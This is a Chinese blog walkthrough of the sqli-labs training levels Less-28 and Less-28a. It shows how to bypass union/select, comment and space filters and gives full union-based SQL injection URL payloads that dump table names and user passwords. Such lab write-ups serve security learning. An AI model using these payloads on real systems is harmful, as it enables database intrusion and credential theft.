Less-28
基于错误的,单引号字符型,过滤了union和select等的注入

判断注入类型
1和1"正常回显,1'报错,单引号字符型。
2'%26%26'1'='1回显为id=1,有小括号。


参看源码:
![]()


发现没有过滤
or与and。
过滤了相连的union和select,/i同时匹配大小写,\s匹配任意空白字符如制表符、换行符、空格等,使用%a0等空格的URL编码可以绕过。
过滤了--、#以及/**/。
过滤了两次空格。
过滤了/但没过滤\。
这一关和Less-27a十分相似,可以利用联合注入,布尔盲注,延时注入。
这里演示联合注入:
爆库:
?id=0')%0buniOn%0bsElEct%0b1,database(),3%0bor%0b('1')=('1

爆表:
?id=0')%0buniOn%0bsElEct%0b1,(group_concat(table_name)),3%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema='security'%0b%26%26%0b('1')=('1

暴字段:
?id=0')%0buniOn%0bsElEct%0b1,(group_concat(column_name)),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema='security'%0bAnd%0btable_name='users'%0b%26%26%0b('1')=('1

爆数据:
?id=0')%0buniOn%0bsElEct%0b1,(group_concat(username,0x7e,password)),3%0bfrom%0busers%0bwhere%0b('1')=('1

================= 分隔符 ==============
Less-28a
基于盲注的,带括号的单引号字符型,过滤了union和select等的注入

本关与 28 基本一致,只是过滤条件少了几个。
参考源码:
![]()
![]()

这一关应该设置成带括号的双引号字符型比较好。
联合注入和28关一模一样具体操作自行尝试。
推荐两篇绕过文章:
深入理解SQL注入绕过WAF和过滤机制
SQL注入绕过union+select过滤

1006

被折叠的 条评论
为什么被折叠?



